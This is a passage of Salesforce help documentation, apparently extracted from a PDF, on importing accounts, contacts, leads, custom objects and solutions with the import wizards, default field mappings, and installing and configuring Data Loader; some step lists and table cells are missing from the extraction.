then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then
update the existing record.
See Also:
What are Multilingual Solutions?
Import My Organization's Solutions
FAQ: Importing
Field AccessibilityIn the organization-wide import wizards for accounts and leads, you can import data into any standard
or custom field even if it is hidden or read only in your page layout or field-level security settings.
For the Import My Contacts wizard, you can import data only into the fields that are editable for you in your page layout
or field-level security settings.
See Managing Page Layouts on page 1276 and Field-Level Security Overview on page 663. Field-level security is available
in Enterprise, Unlimited, and Developer Editions only.
New Values for Picklists and Multi-Select PicklistsIf your import file contains data to be displayed in picklists or
multi-select picklists, the wizards warn you when you attempt to import a new picklist value that does not match any valid
picklist values. If you ignore the warning, the new value is automatically added to the imported record. Your administrator
can later edit the field to add the necessary values. Note that the import wizards do not allow you to import more than 100
new picklist or multi-select picklist values for any field during a single import.
787
Data Management
If your organization uses the Translation Workbench, the import wizards look for matching translated values before creating
new inactive picklist values. See Setting Up the Translation Workbench on page 487 for more information.
Multi-Select PicklistsTo import multiple values into a multi-select picklist, separate the values by a semicolon in your
import file.
You can import up to 100 values at a time in a multi-select picklist field. If you have more than 100 values in your import
file for any one record, the import wizard leaves the field blank in that record.
CheckboxesTo import data into a checkbox field, use 1 for checked values and 0 for unchecked values.
Default ValuesFor picklist, multi-select picklist, and checkbox fields, if you do not map the field in the import wizard,
the default value for the field, if any, is automatically inserted into the new or updated record.
Date/Time FieldsEnsure that the format of any date/time fields you are importing matches how they display in Salesforce
per your locale setting. For information on setting your locale, see Editing Your Personal Information on page 30.
Formula FieldsFormula fields cannot accept imported data because they are read only.
Field Validation RulesSalesforce runs validation rules on records before they are imported. Records that fail validation
aren't imported. Consider deactivating the appropriate validation rules before running an import if they affect the records
you are importing.
Universally Required FieldsYou must include universally required fields in your import files or the import will fail. For
more information, see About Universally Required Fields on page 1196.
If your organization has set up the ability to use multiple currencies, you can import amounts in different currencies.
Organization Import
When importing accounts, contacts, custom objects, leads, or solutions for your organization, you can specify the currency
type for amount fields using the Currency ISO Code column in your import file. The following rules apply:
Entering currency codes - Enter a currency code in the Currency ISO Code column in your import file. Currency
codes are three letter codes that follow an international standard. For example, USD is the currency code for U.S. dollars.
Click Your Name > Setup > Company Profile > Manage Currencies to see a list of valid codes for your organization.
Using one currency for accounts and contacts - If you are importing accounts and contacts, the Currency ISO Code
column applies to both an account and its associated contact. You cannot specify different currencies for associated accounts
and contacts.
Updating the currency code - When updating the currency code but not the currency amount for existing accounts and
contacts, the existing amount is not converted to the corresponding number in the new currency.
788
Data Management
Entering inactive currencies - If your enter an inactive currency in your import file, your personal currency will be used
instead. However, amounts will not be modified. For example, if your file has AUD 100 for 100 Australian dollars but
AUD is an inactive currency for your organization, then it is imported as USD 100, assuming your personal currency is
U.S. dollars.
Omitting the Currency ISO Code column - When creating new records via importing, if you do not use the Currency
ISO Code column or fail to map it, your personal currency is used. For example, if your file has 100 and your personal
currency is U.S. dollars (currency code = USD), this is imported as USD 100.
When updating existing records via importing, if you do not use the Currency ISO Code column or fail to map it, any
amounts are interpreted as having the existing currency of the record. For example, if your file has 100 for a record that
has a currency of EUR (the currency code for euros), this amount is interpreted as EUR 100.
See Also:
Managing Multiple Currencies
To import data into Salesforce, you first need to export the data from your existing application. This creates an export file of
the information you want to import.
After creating the export file, compare your data with the Salesforce fields available for import, and verify that your data will
be mapped into the appropriate Salesforce fields. See Preparing Your Data for Import on page 795.
Your file can contain a mixture of some new records as well as updates for existing records. The option selected in the Matching
Type field determines whether it is a new or existing record. When importing leads, you can choose whether to match leads
in your import file with existing leads in Salesforce. Leads can be matched according to the following types: Salesforce ID,
name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching by
email and a lead in your source file has the same email as a lead in Salesforce, then that lead will be updated in Salesforce. If
you are not matching by email and a lead in your source file has the same email as a lead in Salesforce, then a new lead will
be created.
Note:
If you are the administrator and are importing for multiple users, you must combine your export data into a single
CSV file using Excel.
When importing new records, add or modify a Record Owner field in your file such that the field contains the names
of existing, active users. Enter the users full usernames (for example, jsmith@acme.com) or first and last names (for
789
Data Management
example, Joe Smith, or Smith Joe for Asian locales). This will specify the owner of the imported data for an
organization import. For lead imports, you can also specify the name of a lead queue. Record owner fields do not get
updated when records are updated via import. All records retain their existing owners; and the Record Owner field
in your import file is ignored for these records.
When importing leads, you can alternatively use a lead assignment rule to specify the owners of the imported data,
instead of using a Record Owner field.
See Also:
Preparing Your Data for Import
See Also:
Default Field Mapping for ACT!
790
Data Management
5. Select the Contacts folder and click Next. You can select a different contacts folder if you have contacts stored in multiple
folders.
6. Choose a file name for the exported data and click Next.
7. Click Finish.
See Also:
Default Field Mapping for Outlook
791
Data Management
7. Click Finish.
8. After the export finishes, locate the exported file and change its file extension to .csv.
9. Open the file.
10. Add a header column by right-clicking on the first row and choosing Insert.
11. In column A, enter Company.
12. In column B, enter Last Name.
13. In column C, enter Note.
14. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).
See Also:
Field Mapping for Other Data Sources and Organization Import
792
Data Management
4. Select ALL Contact Records! in the drop-down list, and click Next.
5. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click
Add Field. Then click Next.
6. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next.
7. Select No when asked if you want to save these settings, and click Next.
8. Click Finish.
9. After the export finishes, locate the exported file and change its file extension from .txt to .csv.
10. Open the file.
11. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).
See Also:
Field Mapping for Other Data Sources and Organization Import
4. Click Export.
5. In the Specify Export Fields dialog box, select the Address Book fields you want to export, and click OK.
See Also:
Field Mapping for Other Data Sources and Organization Import
2. Ensure your file includes only one name per field. The system cannot accept more than one name per field.
793
Data Management
3. Ensure your file separates names and titles into two fields. The system cannot accept fields containing both names and
titles.
4. Ensure your file includes only one phone number per field.
See Also:
Field Mapping for Other Data Sources and Organization Import
You can export account, contact, custom object, lead, or solution reports from Salesforce to create an import file for the import
wizards. You must include the Account ID, Contact ID, Custom Object ID, Lead ID, or Solution ID value for
each respective record in your report. These ID fields are unique Salesforce identifiers and are used to accurately match your
data with existing Salesforce records.
To create an import file with these ID fields, you first need to export the data from Salesforce.
1. Run an account, contact, custom object, lead, or solution report in Salesforce, include the respective ID field, and export
it to Excel.
2. If you are exporting both leads and contacts to be targeted in a campaign:
a. In Excel, combine the exported reports into one CSV (comma-separated values) file. Make sure all of the ID field
values are in the same column.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
See Also:
Importing Campaign Members
Managing Campaigns
794
Data Management
After exporting your data from Salesforce or your existing application (see Creating Export Files for Import Wizards on page
789), prepare your data before importing it.
Preparing Contacts
When importing from ACT! or Outlook, the Import My Contacts wizard automatically maps fields from ACT! and
Outlook to Salesforce. See Default Field Mapping for ACT! on page 797 and Default Field Mapping for Outlook on
page 799.
When importing from other data sources, you must use Excel to label the columns in your import file as specified in
Field Mapping for Other Data Sources and Organization Import on page 802.
Preparing Person Accounts
When importing person accounts, use the field labels in Salesforce as the column labels in your import file. SeePerson
Account Fields on page 93 .
Preparing Organization's Business Accounts and Contacts
When importing business accounts and contacts for your organization, you must use Excel to label the columns in your
import file as specified in Field Mapping for Other Data Sources and Organization Import on page 802.
Preparing Organization's Leads
When importing general leads or leads for campaigns, use the import file labels specified in Field Mapping for Importing
Leads on page 806.
Preparing Custom Objects
When importing a custom object, use the field labels shown on the custom object detail page in Salesforce as the column
labels in your import file.
Preparing Solutions
When importing solutions, use the field labels in Salesforce as the column labels in your import file. For information
on field labels, see Solution Fields on page 3260.
You can enter HTML into the solutions you plan to import into Salesforce.However, unless your organization has
enabled HTML solutions, HTML tags will display in the solutions after they are imported. For more information, see
What are HTML Solutions? on page 3242.
For security purposes, Salesforce automatically filters all HTML solutions for potentially malicious HTML. If potentially
malicious HTML is detected in an HTML solution, then the potentially malicious HTML is either automatically
removed or transformed into text for users who view the HTML solution. Note that users will not be able to notice
when potentially malicious HTML is removed from an HTML solution.
You can import solutions written in HTML format into Salesforce. However, for security purposes, only the HTML
tags listed below are allowed. The content of any HTML tags not listed below is automatically removed when saved in
HTML solutions. Furthermore, the content of all <script> and <iframe> tags, as well as all JavaScript, is automatically
795
Data Management
removed when saved in HTML solutions. Additionally, Cascading Style Sheets (CSS) are not supported in HTML
solutions.
The following HTML tags are allowed in HTML solutions imported into Salesforce:
<a>
<dt>
<q>
<abbr>
<em>
<samp>
<acronym>
<font>
<small>
<address>
<h1>
<span>
<b>
<h2>
<strike>
<bdo>
<h3>
<strong>
<big>
<h4>
<sub>
<blockquote>
<h5>
<sup>
<br>
<h6>
<table>
<caption>
<hr>
<tbody>
<cite>
<i>
<td>
<code>
<img>
<tfoot>
<col>
<ins>
<th>
<colgroup>
<kbd>
<thead>
<dd>
<li>
<tr>
<del>
<ol>
<tt>
<dfn>
<p>
<ul>
<div>
<pre>
<var>
<dl>
Within the above tags, you can include the following attributes:
alt
face
size
background
height
src
border
href
style
class
name
target
colspan
rowspan
width
The above attributes which can include a URL are limited to URLs that begin with the following:
http:
796
Data Management
https:
file:
ftp:
mailto:
#
/ for relative links
Note: If your data has information in fields that do not match any of the standard fields, your administrator can create
custom fields for that data prior to import.
You must include universally required fields in your import files or the import will fail. For more information, see
About Universally Required Fields on page 1196.
See Also:
Creating Export Files for Import Wizards
Accessing the Import Wizards
This table details how ACT! fields map to Salesforce account and contact import fields during an individual data import.
Note: If an ACT! record contains more than one contact for the same company, the import wizard creates multiple
contacts for one account.
ACT! Field
Import Field
Address 1
Address 2
Address 3
Alt Phone
Assistant
Asst. Phone
797
Data Management
ACT! Field
Import Field
City
Company
Account: Name
Contact
Country
Department
Contact: Department
E-mail Login
Contact: Email
Fax Ext.
First Name
Home Address 1
Home Address 2
Home Address 3
Home City
Home Country
Home Phone
Home State
Home Zip
ID/Status
Account: Type
Last Name
Mobile Phone
Note
Phone
Phone Ext.
Referred By
798
Data Management
ACT! Field
Import Field
Revenue
State
Ticker Symbol
Title
Contact: Title
Web Site
Account: Website
Zip
2nd Contact
2nd Phone
2nd Title
3rd Contact
3rd Phone
3rd Title
2nd Last Reach, 3rd Last Reach, Asst. Title, Last Contact: Note or Account: Note
Attempt, Last Meeting, Last Reach, Last Results,
(In Professional, Enterprise, Unlimited, and Developer Edition
Letter Date, Pager, Spouse, User 1-15
See Also:
Exporting from ACT!
This table details how Outlook fields map to Salesforce account and contact import fields during an individual data import.
799
Data Management
Outlook Field
Import Field
Assistants Name
Assistants Phone
Birthday
Contact: Birthdate
Business City
Business Country
Business Fax
Business Phone
Contact: Phone
Business Street
Business Street 2
Business Street 3
Company
Account: Phone
Department
Contact: Department
Contact: Email
Home City
Home Country
Home Phone
Home Street
800
Data Management
Outlook Field
Import Field
Home Street 2
Home Street 3
Job Title
Contact: Title
Last Name
Manager's Name
Contact: Reports To
(In addition, if the name in this field does not match an
existing contact, a new contact is created with the managers
name.)
Mobile Phone
Notes
Contact: Description
Other Phone
Referred By
Title
Contact: Salutation
Web Page
Account: Website
See Also:
Exporting from Outlook
Mapping Fields for Salesforce for Outlook
801
Data Management
If you are importing accounts and contacts for an organization, or importing individual data from sources other than Outlook
or ACT!, the Import Wizards map the fields as correctly as possible. You must fine-tune the mapping before completing the
import. Before importing your data, Salesforce recommends that you use Excel to label the columns in your import file with
the labels listed below. Field length limits for each object are listed in the Salesforce Field Reference Guide.
Note: The default mappings listed below are offered as a guide for importing; they do not ensure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizards. Remember that you can map the same
field multiple times if necessaryfor example, for the account and contact address fields.
Common Fields for Contacts and Accounts
Label for Your Import File
Record Owner
Salesforce Field
Contact: Contact Owner and
(Note: For individual imports, this field is not necessary, since Account: Account Owner
all data you import is automatically owned by you. In addition,
when importing records by Salesforce record ID, this field is
ignored.)
Currency ISO Code
(Note: You can use this field only for organization imports in Account: Account Currency
organizations that use multiple currencies. For more
information, see Importing Multiple Currencies on page 788.)
Contact Fields
Label for Your Import File
Salesforce Field
Assistant
Contact: Assistant
Asst. Phone
Birthdate
Contact: Birthdate
Business Fax
Contact: Fax
Business Phone
Contact: Phone
802
Data Management
Contact Fields
Label for Your Import File
Salesforce Field
Contact Description
Contact: Description
Contact: Contact ID
Department
Contact: Department
E-mail Address
Contact: Email
Lead Source
Mailing City
Mailing Country
Mailing State
Mailing Street 1
Mailing Street 2
Mailing Street 3
Mobile Phone
Contact: Mobile
Other City
Other Country
Other Phone
803
Data Management
Contact Fields
Label for Your Import File
Salesforce Field
Other State
Other Street 1
Other Street 2
Other Street 3
Reports To
Contact: Reports To
Title
Contact: Title
2nd Contact
Split into Contact: First Name & Last Name for a second
contact for the account
2nd Phone
2nd Title
3rd Contact
Split into Contact: First Name & Last Name for a third
contact for the account
3rd Phone
3rd Title
Account Fields
Label for Your Import File
Salesforce Field
Account Description
Account: Description
Account Division
804
Data Management
Account Fields
Label for Your Import File
Salesforce Field
Account Fax
Account: Fax
Account ID
Account: Account ID
Account Note
Account Number
Account Phone
Account: Phone
Account Site
Account Type
Account: Type
Billing City
Billing Country
Billing State
Billing Street 1
Billing Street 2
Billing Street 3
Employees
Account: Employees
Industry
Account: Industry
Ownership
Account: Ownership
Parent Account
Rating
Account: Rating
805
Data Management
Account Fields
Label for Your Import File
Salesforce Field
Revenue
Shipping City
Shipping Country
Shipping State
Shipping Street 1
Shipping Street 2
Shipping Street 3
SIC Code
Ticker Symbol
Website
Account: Website
Note: If you include record types in your import file, the Import Wizard uses the record owners default record type
when creating new records. For existing records, the Import Wizard does not update the record type field. For more
information, see Managing Record Types on page 1268.
When you import leads, the Import My Organizations Leads wizard and the campaign Import Leads wizard map the fields
in your import file as correctly as possible, but you must fine-tune the mapping before completing the import. Prior to importing
your leads, it is recommended that you use Excel to label the columns in your lead import file with the labels listed in the table
below.
Note: The default mappings listed below are offered as a guide for importing; they do not insure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizard.
Annual Revenue
Annual Revenue
City
City
Company
Company
Country
Country
806
Data Management
(Note: You can use this field only for organizations that use
multiple currencies see Importing Multiple Currencies on
page 788.)
Description
Email
Description
Email
No. of Employees
Fax
Fax
Industry
Lead Division
Lead ID
Lead Source
Lead Status
Mobile Phone
Mobile
807
Data Management
Phone
Phone
Postal Code
Postal Code
Rating
Rating
Record Owner
Lead Owner
State
State
Status
Status
Street 1
Address
Street 2
Address
Street 3
Address
Title
Title
Website
Website
Note:
If you include record types in this list, the Import Wizard uses the record owners default record type when creating
new records. For existing records, the Import Wizard does not update the record type field.
If you choose to use assignment rules, the Import Wizard uses the new owners default record type when creating new
records. When the assignment rules assign the record to a queue, the queue owners default record type is used.
See Also:
Import My Organizations Leads
Import My Contacts
Import My Person Accounts
808
Data Management
See Also:
Importing Overview
Importing Articles
FAQ: Importing
Import My Contacts
Available in: All Editions except Database.com
With the Import My Contacts wizard, any user can import up to 500 personal contacts and associated business accounts.
Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 789) and
correctly prepared your data (see Preparing Your Data for Import on page 795).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.
809
Data Management
b. If importing from ACT! or Outlook, click Import Now!, or click Customize Mappings to verify the field mappings.
c. If importing from any other source, select the character encoding of the file. Most users will not need to change the
default setting.
d. Choose whether to match your contacts by name or by email. This field sets the criteria for avoiding duplicates. For
example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then
that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforcewith the
same email, then a new record will be created.
e. Choose Next to continue.
4. Map the fields
a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 795.
b. Note that there is no Record Owner field; you are automatically assigned as the owner of any data you import. On
the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing business account fields with your import data. Note that you cannot use this checkbox to update existing field
data with blank values.
c. You can import data only into the fields that are editable for you in your page layout or field-level security settings.
(See Managing Page Layouts on page 1276 and Field-Level Security Overview on page 663. Field-level security is available
in Enterprise, Unlimited, and Developer Editions only.)
d. When all fields are assigned correctly, click Next.
5. Map the miscellaneous fields
a. The wizard reports the fields that do not map.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped
fields should be imported into an business account or contact Note or should not be imported at all. The fields are
imported into a single business account Note or a single contact Note; separate note fields are not created for each
import field.
b. When all fields are assigned correctly, click Import Now!.
See Also:
Accessing the Import Wizards
810
Data Management
Create on accounts
AND
Read on contacts
AND
Import Personal Contacts
AND
At least one person account record type available for your
profile
With the Import My Person Accounts wizard, you can import person accounts that you own. To understand how person
account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 782.
Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to
the new name.
Follow these steps to import your person accounts. Click each link for more details.
1.
2.
3.
4.
5.
6.
7.
811
Data Management
2. Choose what you want to happen if matches are found - only import new records, only update existing records, or update
existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import
new ones.
3. Click Next.
Select record type
1. Choose the record type that you want to assign to the records in your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.
Upload your import file
1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all
the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file
exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of
your file's column labels are identical matches with a field in Salesforce, you must map the fields manually.
Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce
fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
Confirm and submit your import
1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.
Complete your import
1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
812
Data Management
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 912.
See Also:
Accessing the Import Wizards
With the Import My Organizations Accounts and Contacts wizard, administrators, and users with the Modify All Data
permission, can import up to 50,000 business accounts and contacts at a time for multiple users. Before beginning, make sure
you have created an export file (see Creating Export Files for Import Wizards on page 789) and correctly prepared your data
(see Preparing Your Data for Import on page 795).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.
813
Data Management
e. If you use divisions, select a division to assign to all imported records. Alternatively, select None to use the record
owners default division on each record, or specify the division in your import file.
f. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
g. Click Next to continue.
4. Map the fields.
a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 795.
b. Remember to map the Record Owner field with your Record Owner field so that record ownership is assigned
correctly. When importing records by Salesforce record ID, the Record Owner field in your import file is ignored.
All records retain their existing owners; record owners cannot be updated using the import wizard.
c. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing account fields with your import data. Note that you cannot use this checkbox to update existing field data with
blank values.
d. When all fields are assigned correctly, click Next.
5. Map the miscellaneous fields.
a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition
organizations, you can choose whether the unmapped fields should be imported into an account or contact Note or
should not be imported at all. The fields are imported into a single account Note or a single contact Note; separate
note fields are not created for each import field.
b. When all fields are assigned correctly, click Next.
6. Review and confirm.
a. If there are warnings on this page, stop the import process and correct your import file.
b. Select Import Now! to send your import request. Your data is imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import (see Undoing
an Import on page 825).
7. Check the Import Queue.
a. You can use the Import Queue to check the progress of your import. Click Your Name > Setup > Monitoring >
Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organization page. For imports
that have not begun processing, you can click Del to cancel the import.
Note: If your organization uses territory management, your imported accounts are always evaluated by account
assignment rules. See Territory Management Overview on page 2638.
See Also:
Accessing the Import Wizards
814
Data Management
With the Import My Organization's Person Accounts wizard, you can import person accounts that are owned by different
users. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts?
on page 782.
Note: If the label for person accounts has been renamed for your organization, the renamed label will appear in the
import wizard itself and in the Tools area of the accounts home page, but not in the Data Management area under
Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.)
Follow these steps to import person accounts for your organization.
1.
2.
3.
4.
5.
6.
7.
8.
815
Data Management
Choose the field that you are using to match existing records in Salesforce with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
Choose what you want to happen if matches are foundonly import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot
import new ones.
3. Click Next.
Specify owner and lookup relationships
1. Specify the field in your import file that contains person account owners.
When you choose Name, the following formats are valid:
816
Data Management
Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce
fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
Confirm and submit your import
1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.
Complete your import
1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 912.
See Also:
Accessing the Import Wizards
With the Import My Organizations Leads wizard, administrators, users with the Marketing User profile, or users with the
Import Leads permission and Read, Create, and Edit permissions on leads can import up to 50,000 leads at a time for
multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on
page 789) and correctly prepared your data (see Field Mapping for Importing Leads on page 806).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.
817
Data Management
818
Data Management
You can use the Import Queue link to check the progress of your import. Click Your Name > Setup > Monitoring >
Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organizations Leads page. For imports
that have not begun processing, you can click Del to cancel the import.
See Also:
Accessing the Import Wizards
With the Import My Organization's Custom Objects wizard, you can import custom objects.
Follow these steps to import custom objects. Click each link for more details.
1. Launch the wizard
2. Choose the custom object
3. Prevent duplicate records
4. Specify owner, master-detail, and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.
819
Data Management
Choose the field that you are using to match existing records in Salesforce with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
Choose what you want to happen if matches are foundonly import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot
import new ones.
3. Click Next.
Specify owner, master-detail, and lookup relationships
1. Custom objects can be owned by users, or they can have a master-detail relationship with other records. For example, a
custom object can have a custom field that creates a master-detail relationship with accounts. In that case, your import file
must include the names or IDs of all associated accounts.
If your custom objects are owned by users, then choose the field in your import file to use for matching record owners.
When you choose Name, the following formats are valid:
If your records have a master-detail relationship with another kind of record, then choose the field in your import file
to use for matching master records.
2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated
during your import even if your import file contains different values for fields on those related records.
3. Click Next.
Set lookup record matching
1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely
identify those related records.
2. Click Next.
Select record type
1. If the records you are importing have record types, then choose the record type that you want to assign to the records in
your import file.
820
Data Management
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.
Upload your import file
1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all
the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file
exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of
your file's column labels are identical matches with a field in Salesforce, you must map the fields manually.
Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce
fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
Confirm and submit your import
1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.
Complete your import
1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 912.
See Also:
Accessing the Import Wizards
What Is Imported for Custom Objects?
FAQ: Importing
821
Data Management
Import Solutions
With the Import My Organization's Solutions wizard, you can import solutions.
Follow these steps to import solutions. Click each link for more details.
1. Launch the wizard
2. Choose the type of solution (multilingual solutions only)
3. Prevent duplicate records
4. Specify author and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.
822
Data Management
Choose the field that you are using to match existing records in Salesforce with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
Choose what you want to happen if matches are foundonly import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot
import new ones.
3. Click Next.
Specify author and lookup relationships
1. Solutions are associated with authors - the users who initially created the solutions. If you have included a column in your
import file to identify authors, specify the user field it contains.
When you choose Name, the following formats are valid:
823
Data Management
See Also:
Accessing the Import Wizards
824
Data Loader
Undoing an Import
Undoing an Import
Available in: All Editions except Database.com
If you import accounts, contacts, leads, or solutions by mistake, your administrator can click Your Name > Setup > Data
Management > Mass Delete Records to delete the items you mistakenly imported. View the Using Mass Delete to Undo
Imports document for instructions.
The Mass Delete Records tools do not support custom objects. If you import custom objects by mistake in Enterprise,
Unlimited, or Developer Edition, your administrator can use the Data Loader to mass delete the mistakenly imported records.
See Performing Mass Deletes on page 839.
DATA LOADER
Data Loader Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or export Salesforce
records.
When importing data, Data Loader reads, extracts, and loads data from comma separated values (CSV) files or from a database
connection. When exporting data, it outputs CSV files.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
User interfaceWhen you use the user interface, you work interactively to specify the configuration parameters, CSV files
used for import and export, and the field mappings that map the field names in your import file with the field names in
Salesforce.
Command lineWhen you use the command line, you specify the configuration, data sources, mappings, and actions in
files. This enables you to set up Data Loader for automated processing.
825
Data Management
Data Loader complements the web-based import wizards that are accessible from the Setup menu in the online application.
Refer to the following guidelines to determine which method best suits your business needs:
Use Data Loader when:
You need to load 50,000 to 5,000,000 records. Data Loader is supported for loads of up to 5 million records. If you need
to load more than 5 million records, we recommend you work with a salesforce.com partner or visit the App Exchange for
a suitable partner product.
You need to load into an object that is not yet supported by the import wizards.
You want to schedule regular data loads, such as nightly imports.
You want to export your data for backup purposes.
For more information about the import wizards, see Importing Overview on page 779.
826
System Requirements
To use Data Loader, you need:
Installation Procedure
Caution: Over time, multiple versions of the Data Loader client application have been available for download. Different
versions have different entries in the Add or Remove Programs dialog in your Windows Control Panel. Some versions
were released with earlier product names such as AppExchange Data Loader or Sforce Data Loader. You can run
different versions at the same time on one computer. However, do not install multiple copies of the same version.
The latest version is always available from Salesforce at Your Name > Setup > Data Management > Data Loader.
If you have previously installed the latest version and want to install it again, first remove it from your computer by
using the Add or Remove Programs dialog in Windows Control Panel.
1. In the application, click Your Name > Setup > Data Management > Data Loader.
2. Click Download the Data Loader and save the installer to your PC. If you're prompted to run or save the file, click Run.
If you're then prompted to allow the program to make changes to the computer, click Yes.
3. Double-click the downloaded file to launch the InstallShield wizard.
4. Click Next.
5. Accept the license agreement and click Next.
6. Accept the default installation directory, or click Change... to choose another directory. Click Next.
7. Click Install.
8. Click Finish.
827
Data Management
9. To start Data Loader, double-click the Data Loader icon on your desktop, or choose Start > All Programs > salesforce.com
> Apex Data Loader > Apex Data Loader.
Tip:
If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please
try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting
From the Command Line on page 843.
If you want to download the source code and make changes, an open source version of Data Loader is available at
https://github.com/forcedotcom/dataloader.
Login Considerations
If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce automatically
sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of
your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter
mypasswordXXXXXXXXXX to log in.
Use the Settings menu to change the default operation settings of Data Loader.
1. Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
2. Choose Settings > Settings.
3. Edit the fields as desired:
Field
Description
Batch size
828
Data Management
Field
Description
Assignment rule
Server host
Enter the URL of the Salesforce server with which you want
to communicate. For example, if you are loading data into
